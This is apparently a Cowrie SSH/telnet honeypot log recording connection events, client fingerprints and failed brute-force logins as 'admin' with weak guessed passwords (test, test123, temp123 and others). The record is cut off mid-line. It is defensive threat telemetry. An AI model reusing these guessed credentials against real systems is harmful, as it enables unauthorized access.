{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:16:12.629774Z","src_ip":"159.203.92.129","session":"8bc0a4571258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sugontest","message":"login attempt [admin/sugontest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:16:12.641136Z","src_ip":"159.203.92.129","session":"8bc0a4571258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:16:13.647593Z","src_ip":"159.203.92.129","session":"8bc0a4571258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48636,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f0396c2155","protocol":"ssh","message":"New connection: 159.203.92.129:48636 (159.203.135.109:22) [session: 21f0396c2155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:16:57.732739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:16:57.763191Z","src_ip":"159.203.92.129","session":"21f0396c2155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:16:57.767370Z","src_ip":"159.203.92.129","session":"21f0396c2155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"temp123","message":"login attempt [admin/temp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:16:57.819948Z","src_ip":"159.203.92.129","session":"21f0396c2155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:16:58.827264Z","src_ip":"159.203.92.129","session":"21f0396c2155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57650,"dst_ip":"10.17.0.5","dst_port":22,"session":"08e8f48fef93","protocol":"ssh","message":"New connection: 194.59.206.2:57650 (10.17.0.5:22) [session: 08e8f48fef93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:17:25.482853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:17:26.068574Z","src_ip":"194.59.206.2","session":"08e8f48fef93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:17:26.073360Z","src_ip":"194.59.206.2","session":"08e8f48fef93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:17:26.717156Z","src_ip":"194.59.206.2","session":"08e8f48fef93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59670,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae9357655d54","protocol":"ssh","message":"New connection: 159.203.92.129:59670 (159.203.135.109:22) [session: ae9357655d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:17:42.528813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:17:42.534004Z","src_ip":"159.203.92.129","session":"ae9357655d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:17:42.538752Z","src_ip":"159.203.92.129","session":"ae9357655d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test","message":"login attempt [admin/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:17:42.552268Z","src_ip":"159.203.92.129","session":"ae9357655d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:17:43.560530Z","src_ip":"159.203.92.129","session":"ae9357655d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59346,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb583996f5b6","protocol":"ssh","message":"New connection: 159.203.92.129:59346 (159.203.135.109:22) [session: fb583996f5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:18:27.926130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:18:27.931333Z","src_ip":"159.203.92.129","session":"fb583996f5b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:18:27.935960Z","src_ip":"159.203.92.129","session":"fb583996f5b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test1","message":"login attempt [admin/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:18:27.947451Z","src_ip":"159.203.92.129","session":"fb583996f5b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:18:28.953513Z","src_ip":"159.203.92.129","session":"fb583996f5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58400,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ca5397d1527","protocol":"ssh","message":"New connection: 159.203.92.129:58400 (159.203.135.109:22) [session: 3ca5397d1527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:12.807084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:12.813213Z","src_ip":"159.203.92.129","session":"3ca5397d1527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:12.818633Z","src_ip":"159.203.92.129","session":"3ca5397d1527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test123","message":"login attempt [admin/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:12.831420Z","src_ip":"159.203.92.129","session":"3ca5397d1527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:13.838799Z","src_ip":"159.203.92.129","session":"3ca5397d1527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.38.75.196","src_port":51068,"dst_ip":"10.17.0.5","dst_port":23,"session":"97ae417204f5","protocol":"telnet","message":"New connection: 212.38.75.196:51068 (10.17.0.5:23) [session: 97ae417204f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:34.600775Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46946,"dst_ip":"159.203.135.109","dst_port":22,"session":"55348b791b4d","protocol":"ssh","message":"New connection: 159.203.92.129:46946 (159.203.135.109:22) [session: 55348b791b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:57.633344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:57.637911Z","src_ip":"159.203.92.129","session":"55348b791b4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:57.642431Z","src_ip":"159.203.92.129","session":"55348b791b4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test3","message":"login attempt [admin/test3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:57.654068Z","src_ip":"159.203.92.129","session":"55348b791b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:19:58.660346Z","src_ip":"159.203.92.129","session":"55348b791b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.93114686012268,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:20:10.531800Z","src_ip":"212.38.75.196","session":"97ae417204f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46168,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cc6795a5439","protocol":"ssh","message":"New connection: 159.203.92.129:46168 (159.203.135.109:22) [session: 2cc6795a5439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:20:44.063071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:20:44.067041Z","src_ip":"159.203.92.129","session":"2cc6795a5439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-